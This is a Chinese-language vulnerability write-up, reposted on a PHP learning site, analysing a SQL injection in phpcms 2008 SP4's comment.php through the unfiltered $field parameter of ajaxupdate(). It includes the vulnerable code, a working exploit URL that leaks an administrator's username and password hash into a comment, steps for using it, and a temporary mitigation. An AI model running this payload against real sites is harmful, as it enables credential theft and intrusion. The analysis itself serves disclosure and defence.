网站地图    收藏   

主页 > 后端 > 网站安全 >

phpcms 2008 sp4 comment.php页面SQL注入漏洞分析 - 网站

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 发布作者:衰仔影响版本: phpcms 2008 sp4官方地址:www.phpcms.cn漏洞描述:问题出在/comment/include/comment.class.php中关于function ajaxupdate($field, $id)的定义:程序59行开始:function ajaxup......

发布作者:衰仔
影响版本: phpcms 2008 sp4
官方地址:www.phpcms.cn
漏洞描述:
问题出在/comment/include/comment.class.php中关于function ajaxupdate($field, $id)的定义:
程序59行开始:
function ajaxupdate( $field, $id )
{
$sql = “UPDATE $this->_comment_table SET {$field} = {$field} +1 WHERE `commentid` = ‘$id’ “;
$this->db->query($sql);
$sql2 = “SELECT {$field} FROM $this->_comment_table WHERE `commentid` = ‘$id’ “;
return $this->db->get_one($sql2);
}
在这个地方是没有过滤直接update进数据库的,因为牵扯到单引号的问题,所以不从$id去考虑代码注入,而对$field进行代码注入即可,网上流传的EXP也是不需要考虑单引号问题的。
因为紧接着还有一个select,所以程序页面会给出报错,但是前面的update已经成功执行了。
看看调用此函数的地方,在comment.php页面:
程序13行开始:
switch ( $action )
{
case ‘vote’:
$count = $comments->ajaxupdate($field, $id);
echo ‘ ‘.$LANG[$field].’(‘.$count[$field].’)';
break;
直接放入了www.2cto.com ajaxupdate()函数中,导致代码执行。
exp: /comment/comment.php?action=vote&field=content%3D(select+concat(username%2C0x3a%2Cpassword)+from+phpcms_member+where+groupid%3D1+limit+1)+where+commentid%3D123%23
执行后重新查看对应的评论页面即可。
commentid的获得方式:在显示评论页面中,鼠标移到“回复”,看状态栏就OK了。
官方目前好像还没有响应,临时修补方式:关闭评论模块,并将评论文件夹改名,等待官方补丁。或者自己对ajaxupdate()做一下简单的修改

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论